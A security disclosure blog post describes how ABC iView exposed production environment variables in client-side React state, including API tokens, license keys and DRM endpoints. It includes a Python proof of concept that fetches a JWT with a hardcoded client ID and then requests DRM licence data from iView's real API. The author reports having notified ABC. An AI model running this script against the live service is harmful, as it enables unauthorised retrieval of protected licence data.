iView, a streaming service for the ABC, Australia’s state media broadcaster, has been plagued with security issues since at least mid-2021, which include the wholesale leak of the production server’s environment variables on the client-side that we are discussing in this article.
Key findings
- Specific DRM algorithms (e.g. Fairplay, for Apple devices) are utilised on iView with expired DRM keys.
- Tokens and license keys for services that were used on the iView site (e.g. Algolia, which is used for search and New Relic, for program analytics) were also included in this set.
- Every past revision of the relevant JSON string is shown on the Wayback Machine, and has been the case since at least October 2021.
The dataset
Accessing critical tokens used in the iView site is rather trivial, using the “View Source” function on all major desktop browsers.
The ‘how’
Since the iView application uses the React framework, it leverages a feature called “states”, which are sets of data that mutate and change inside React. The iView site specifically uses the “initial state”, which stores default data, as well as data stored globally on the site, to store the configuration for the application.
The ‘what’
The dataset originally contained the environment variables of the application, which included the following:
- the IP and PATH variables of the AWS server that iView runs on,
- the app ID and token for Algolia, which powers iView’s search function,
- Widevine DRM validation, secrets and license generation endpoints,
- iView DRM authentication IDs,
- FairPlay DRM certificate URL,
- Seesaw (ABC’s internal API) API URL,
- ABC recommendations API URL and token,
- License keys for New Relic, an application logging and tracing service.
- Gigya (third party login provider) tokens for client-side JavaScript libraries.
An example of this JSON is provided below:
A deeper dive
Let’s look at the other practices that iView might have taken based on the dataset provided, starting with the FairPlay certificate.
The alleged FairPlay certificate is stored at a public-facing URL, so it was trivial to grab it and review the certificate. Once downloaded, I saw that the certificate, seemingly generated by Apple’s certificate authority, expired two years ago, on September 2019.
Continuing on the subject of DRM, Widevine DRM secrets, as well as endpoints were also implicated in the dataset, although since ABC uses L3 encryption, not much can be done with it, except retrieving DRM signatures for shows and streams, which are XML-formatted, but base64 encoded. A proof of concept is located below:
#!/usr/bin/env python3
import requests, random, sys, os
user_agents = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36'
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0'
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Edg/99.0.1150.30'
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.109 Safari/537.36 OPR/84.0.4316.31'
'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0'
]
user_agent = random.choice(user_agents)
def get_jwt(video: str) -> str:
r = requests.post('https://api.iview.abc.net.au/v2/token/jwt', headers={
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'https://iview.abc.net.au',
'Referer': video,
'User-Agent': user_agent
}, data={'clientId': '1d4b5cba-42d2-403e-80e7-34565cdf772d'})
return r.json()['token']
def get_license(jwt: str, video: str) -> str:
stripped = video.replace('https://iview.abc.net.au/video/', '')
r = requests.get(f'https://api.iview.abc.net.au/v2/token/drm/{stripped}', headers={
'Origin': 'https://iview.abc.net.au',
'Referer': video,
'Authorization': f'Bearer {jwt}',
'User-Agent': user_agent
})
return r.json()['license']
if __name__ == "__main__":
video = sys.argv[1]
type = sys.argv[2]
jwt = get_jwt(video)
print(f'JWT: {jwt}')
license = get_license(jwt, video)
print(f'License: {license}')
The result
I had reported this to an ABC engineer back in December, after they reached out to me through an open call. They have since been progressively removing most of the sensitive configuration keys and values, but there are still some available, which are seemingly used for client-side functions. A lot of the original environment variables have been removed, though the only ones that remain are all prefixed with IVIEW_
in the key.
Can this be mitigated in the future?
Yes, through offloading a lot of services that currently are on the client side, as well as avoiding putting environment variables on client-facing scripts.